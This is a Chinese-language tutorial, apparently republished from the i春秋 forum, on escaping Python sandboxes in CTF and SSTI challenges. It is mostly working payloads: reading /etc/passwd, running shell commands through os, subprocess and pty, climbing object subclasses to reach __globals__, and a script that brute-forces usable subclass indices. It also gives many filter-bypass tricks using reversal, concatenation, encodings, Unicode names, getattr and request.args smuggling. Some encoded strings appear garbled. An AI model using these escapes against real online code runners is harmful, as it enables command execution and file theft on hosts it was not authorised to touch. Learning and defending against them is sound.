YDJA
该文章首发在i春秋论坛,欢迎各位师傅完成专业爱好者认证,可第一时间获取最新技术资讯和实战技能分享。
(识别二维码,快速完成认证)
许多网站给用户们提供了在线的Python代码执行环境,而为了防止恶意代码的执行,网站开发人员通常会使用沙箱(一种安全机制)来限制用户的代码。然而人们所认为“安全”的沙箱,却依旧存在被攻击者突破的风险,我们称之为“沙箱逃逸”。本文总结了笔者遇到过的一些逃逸方法及对应waf的绕过方式,希望能给师傅们提供一些思路。
漏洞原理
沙箱逃逸,就是在给我们的一个代码执行环境下,脱离种种waf的过滤和限制,最终造成文件读写,命令执行等恶意操作。
利用方式
1.文件读写
file
>>> file("/etc/passwd").read() #python2
'root:x:0:0:root:/root:/bin/bashndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinnbin:x:2:2:bin:/bin:/usr/sbin/nologinnsys:x:3:3:sys:/dev:/usr/sbin/nologinnsync:x:4:65534:sync:/bin:/bin/syncngames:x:5:60:games:/usr/games:/usr/sbin/nologinnman:x:6:12:man:/var/cache/man:/usr/sbin/nologinnlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinnmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinn ......'
>>> file("test1","w").write("Hello World!") #python2
>>> file("test1").read()
'Hello World!'
open
>>> open("/etc/passwd").read()
'root:x:0:0:root:/root:/bin/bashndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinnbin:x:2:2:bin:/bin:/usr/sbin/nologinnsys:x:3:3:sys:/dev:/usr/sbin/nologinnsync:x:4:65534:sync:/bin:/bin/syncngames:x:5:60:games:/usr/games:/usr/sbin/nologinnman:x:6:12:man:/var/cache/man:/usr/sbin/nologinnlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinnmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinn ......'
>>> open("test2","w").write("Hello World!")
>>> open("test2").read()
'Hello World!'
2.基础命令执行
system
>>> import os
>>> os.system('whoami')
ydj
popen
>>> import os
>>> os.popen("whoami").read()
'ydjn'
eval
>>> eval('__import__("os").system("whoami")')
ydj
exec
>>> exec('__import__("os").system("whoami")')
ydj
sys
>>> import sys
>>> sys.modules["os"].system("whoami")
ydj
pty
>>> import pty
>>> pty.spawn("whoami")
ydj
>>> pty.spawn("/bin/bash") #直接获取一个bash
┌──(ydj㉿LAPTOP-T0I7OJP0)-[~]
└─$ exit
exit
>>>
execfile
>>> execfile("/usr/lib/python2.7/os.py") #python2
>>> system("whoami")
ydj
commands
>>> import commands #python2
>>> commands.getstatusoutput("whoami")
(0, 'ydj')
>>> commands.getoutput("whoami")
'ydj'
importlib(imp)
>>> import importlib
>>> importlib.import_module("os").system("whoami")
ydj
>>> importlib.__import__("os").system("whoami")
ydj
timeit
>>> import timeit
>>> timeit.timeit("__import__('os').system('whoami')",number=1)
ydj
platform
>>> import platform
>>> platform.os.system("whoami")
ydj
pdb
>>> import pdb
>>> pdb.os.system("whoami")
ydj
subprocess
>>> import subprocess
>>> subprocess.call("whoami", shell=True)
ydj
>>> subprocess.Popen("whoami", shell=True)
<Popen: returncode: None args: 'whoami'>
>>> ydj
自建模块导入
#hack.py
import os
os.system("whoami")
>>> import hack
ydj
3.通过继承关系逃逸(SSTI常考)
3.1 多重继承特性
与Java等语言不同,Python支持多重继承,这意味着一个子类可以拥有多个父类,这个特性是造成逃逸的关键,下面先来引入几个知识点(可以把他们理解为一个可以用 . 号调用的方法)
class:返回对象所属的类
>>> ''.__class__
<class 'str'>
mro:返回类的继承顺序
>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)
base:以字符串返回一个类所直接继承的类
>>> ''.__class__.__base__
<class 'object'>
bases:以元组的形式返回一个类所直接继承的类
>>> ''.__class__.__bases__
(<class 'object'>,)
subclasses( ):获取类的所有子类
>>> ''.__class__.__subclasses__()
[<enum 'StrEnum'>]
>>> ''.__class__.__base__.__subclasses__() #object类的所有子类
[<class 'type'>, <class 'async_generator'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, <class 'callable_iterator'>, <class 'PyCapsule'>, <class 'cell'>, <class 'classmethod_descriptor'>, <class 'classmethod'>, <class 'code'>, <class 'complex'>, <class '_contextvars.Token'>, ......]
在Python2中可以直接利用file读写文件
>>> [].__class__.__bases__[0].__subclasses__()[40]
<type 'file'>
>>> [].__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
'root:x:0:0:root:/root:/bin/bashndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinnbin:x:2:2:bin:/bin:/usr/sbin/nologinnsys:x:3:3:sys:/dev:/usr/sbin/nologinnsync:x:4:65534:sync:/bin:/bin/syncngames:x:5:60:games:/usr/games:/usr/sbin/nologinnman:x:6:12:man:/var/cache/man:/usr/sbin/nologinnlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinnmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinn ......'
init:所有自带类都包含init方法,便于利用它当跳板来调用globals。
globals:配合init获取函数所处空间下可使用的module、方法以及所有变量。
>>> ''.__class__.__base__.__subclasses__()[192].__init__.__globals__
{'__name__': 'contextlib', '__doc__': 'Utilities for with-statement contexts. See PEP 343.', '__package__': '', '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f5bbb592a10>, '__spec__': ModuleSpec(name='contextlib', loader=<_frozen_importlib_external.SourceFileLoader object at 0x7f5bbb592a10>, ......}
>>> ''.__class__.__base__.__subclasses__()[192].__init__.__globals__["os"]
<module 'os' (frozen)>
dict:用来存储对象属性的一个字典,其键为属性名,值为属性的值。
>>> ''.__class__.__dict__
mappingproxy({'__new__': <built-in method __new__ of type object at 0x958980>, '__repr__': <slot wrapper '__repr__' of 'str' objects>, '__hash__': <slot wrapper '__hash__' of 'str' objects>, '__str__': <slot wrapper '__str__' of 'str' objects>, '__getattribute__': <slot wrapper '__getattribute__' of 'str' objects>, '__lt__': <slot wrapper '__lt__' of 'str' objects>, '__le__': <slot wrapper '__le__' of 'str' objects>, ......})
>>> ''.__class__.__dict__['__str__']
<slot wrapper '__str__' of 'str' objects>
builtin、builtins、builtins:Python内建模块,内含不需要import导入就能使用的函数。在2.x中,为builtin,在3.x中,则为builtins,而builtins为两者都有的模块,前两者需要import,后者不用。
>>> import __builtin__ #python2
>>> dir(__builtin__)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', ......]
>>> import builtins #python3
>>> dir(builtins)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BaseExceptionGroup', 'BlockingIOError', 'BrokenPipeError', 'BufferError', 'BytesWarning', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionError', 'ConnectionRefusedError', 'ConnectionResetError', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EncodingWarning', 'EnvironmentError', 'Exception', 'ExceptionGroup', ......]
>>> dir(__builtins__) #both
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BaseExceptionGroup', 'BlockingIOError', 'BrokenPipeError', 'BufferError', 'BytesWarning', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionError', 'ConnectionRefusedError', 'ConnectionResetError', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EncodingWarning', 'EnvironmentError', 'Exception', 'ExceptionGroup', ......]
可以通过内建模块配合dict进行文件读写和命令执行。
>>> __builtins__.__dict__["open"]("/etc/passwd").read()
'root:x:0:0:root:/root:/bin/bashndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinnbin:x:2:2:bin:/bin:/usr/sbin/nologinnsys:x:3:3:sys:/dev:/usr/sbin/nologinnsync:x:4:65534:sync:/bin:/bin/syncngames:x:5:60:games:/usr/games:/usr/sbin/nologinnman:x:6:12:man:/var/cache/man:/usr/sbin/nologinnlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinnmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinn ......'
>>> __builtins__.__dict__['__import__']('os').system('whoami')
ydj
3.2 整体逃逸思路
结合以上知识点,我们已经可以进行一个基础的逃逸攻击(此处演示用的python3.11)
先通过class获取一个类,什么类型都可以,因为我们目的是为了获取object基类,而python中所有类都继承于object基类。
>>> ''.__class__
<class 'str'>
>>> [].__class__
<class 'list'>
然后通过bases或者mro来获取到object基类。
>>> ''.__class__.__base__
<class 'object'>
>>> ''.__class__.__mro__[1]
<class 'object'>
然后获取object的子类
>>> ''.__class__.__base__.__subclasses__()
[<class 'type'>, <class 'async_generator'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, <class 'callable_iterator'>, <class 'PyCapsule'>, <class 'cell'>, <class 'classmethod_descriptor'>, <class 'classmethod'>, <class 'code'>, <class 'complex'>, <class '_contextvars.Token'>, ......]
然后利用init.globals爆破有可以利用的类(比如有file函数,os模块等可以文件读写和命令执行的类)
做题的时候用burp爆破比较方便,由于我这里是本地演示的,没有题目环境,就写个脚本爆吧。
#burp.py
for i in range(0,300):
try:
j=eval(f"[].__class__.__base__.__subclasses__()[{i}].__init__.__globals__")
if 'os' in j:
print(i)
except Exception: #运行过程会产生报错,pass就好了
pass
最终payload
>>> [].__class__.__base__.__subclasses__()[144].__init__.__globals__["os"].system('whoami')
ydj
waf绕过姿势
这里我不针对单一的防护进行绕过,因为在CTF中的waf往往都是要结合多种姿势才能绕过,所以我会尽可能多的总结出各种姿势,到时候遇到waf就可以从这里面灵活的结合各种方法进行绕过。
1.双写
这个大家应该都知道吧
2.逆转
>>> __import__('so'[::-1]).system('whoami')
ydj
3.拼接
>>> __import__('o'+'s').system('whoami')
ydj
>>> a='o'
>>> b='s'
>>> __import__(a+b).system('whoami')
ydj
如果有实际环境可以利用request.args(flask中一个存储着请求参数以及其值的字典)绕过引号。
?payload=[].__class__.__base__.__subclasses__()[144].__init__.__globals__[request.args.a].system(request.args.b)&a=os&b=whoami
4.逆转结合eval、exec
>>> exec(')"imaohw"(metsys.so ;so tropmi'[::-1])
ydj
要是过滤了eval、exec,可以这样利用python3解释的特性(python3 支持了Unicode变量名且解释器在做代码解析的时候,会对变量名进行规范化)。
>>> ᵉval('__import__("os").system("whoami")') #python3
ydj
5.编码
#decode利用
>>> __import__("bf".decode('rot_13')).system("jubnzv".decode('rot_13')) #python2
ydj
#byte
>>> print(bytes(range(32,127)))
b' !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~'
>>> __import__("os").system(bytes([119, 104, 111, 97, 109, 105]))
ydj
#chr
>>> __import__(chr(111)+chr(115)).system(chr(119)+chr(104)+chr(111)+chr(97)+chr(109)+chr(105))
ydj
#oct
>>> exec("137137151155160157162164137137504715716347515616317
116316414515550471671501571411551514751")
ydj
#hex
>>> eval("x5fx5fx69x6dx70x6fx72x74x5fx5fx28x27x6fx73x27x29x2ex
73x79x73x74x65x6dx28x27x77x68x6fx61x6dx69x27x29")
ydj
#base64
>>> exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ3dob2FtaScp'))
ydj
##only python2
>>> exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ3dob2FtaScp'.decode("base64"))
ydj
6.字符截取
先找一个返回结果包含我们所需字母的,这里我们选择().class.base.subclasses()
().__class__.__base__.__subclasses__()
[<class 'type'>, <class 'async_generator'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, <class 'callable_iterator'>, <class 'PyCapsule'>, <class 'cell'>, <class 'classmethod_descriptor'>, <class 'classmethod'>, <class 'code'>, <class 'complex'>, <class '_contextvars.Token'>, <class '_contextvars.ContextVar'>, <class '_contextvars.Context'>, <class 'coroutine'>, ......]
然后利用str()+[]截取字符,如下:
>>> str(().__class__.__base__.__subclasses__())[38]
'o'
>>> str(().__class__.__base__.__subclasses__())[5]
's'
有时候要找的字母太靠后,还要一个一个数,不够优雅,这时候我们可以利用ord()+chr()来字符自增,比如获取了s的位置,就可以利用ascii码来计算其他的。
>>> chr(ord(str(().__class__.__base__.__subclasses__())[5])+6)
'y'
最终payload
>>> __import__(str(().__class__.__base__.__subclasses__())[38]+str(().__class__.__base__.__subclasses__())[5]).system(chr(ord(str(().__class__.__base__.__subclasses__())[5])+4)+chr(ord(str(().__class__.__base__.__subclasses__())[38])-7)+str(().__class__.__base__.__subclasses__())[38]+chr(ord(str(().__class__.__base__.__subclasses__())[38])-14)+chr(ord(str(().__class__.__base__.__subclasses__())[38])-2)+chr(ord(str(().__class__.__base__.__subclasses__())[38])-6))
ydj
7.dict取键
>>> list(dict(whoami=1))[0]
'whoami'
>>> str(dict(whoami=1))[2:8]
'whoami'
>>> __import__("os").system(str(dict(whoami=1))[2:8])
ydj
8.getattr
用于返回对象属性值
>>> getattr(getattr(__builtins__, '__tropmi__'[::-1])('so'[::-1]), 'metsys'[::-1])('whoami')
ydj
>>> getattr(__import__('types').__builtins__['__tropmi__'[::-1]]('so'[::-1]), 'mets' 'ys'[::-1])('whoami') #结合types库
ydj
9.pop+getitem
pop:用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。
getitem:返回所给键对应的值。当对象是序列时,键是整数。当对象是映射时(字典),键是任意值。
两者结合可用于[]给过滤的情况:
>>> ''.__class__.__mro__.__getitem__(2)
<type 'object'>
>>> ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.get('linecache').os.popen('whoami').read() #python2
'ydjn'
10.f-string特性
python>=3.6
>>> f'{__import__("os").system("whoami")}'
ydj
11.call
一般情况下类方法的调用是通过先创建类对象再通过a.b()的方式来调用,但是如果类中只有一个方法或者一个方法的使用频率非常高,那么就可以为这个方法命名为call来简化调用。
>>> "".__class__.__mro__[-1].__subclasses__()[29].__call__(eval, '__import__("os").system("whoami")')
ydj
12.数字获取
>>> ord('b')-ord('a') #以此类推
1
>>> len([])
0
>>> len([[],[]]) #以此类推
2
还有很多思路,就不一一列举
总结
沙箱逃逸是一个有很多细节的考点,各种函数的结合利用,各类Python不同的版本的特性,除了我总结的这些外,还有更多高级玩法,师傅们可以多去论坛看看其他大佬们的文章(看大佬的文章总是能有所收获)。
二维码7天内(9月5日前)有效
在这里,您不仅能学习到前沿的技术知识,还能结识一群志同道合、热爱技术分享的学习伙伴。群管理员不定期举办各种形式的福利活动,邀请行业大咖和知识达人分享他们的宝贵经验,您还能获得丰富的人脉资源和学习资料。我们期待您的加入,一起成长、共同进步!
如遇到群满或者时间失效,无法进群者可联系管理员,拉您进群~
(进群遇到问题,请联系管理员)
戳这里,进入论坛获取更多知识
原文始发于微信公众号(i春秋):Python沙箱逃逸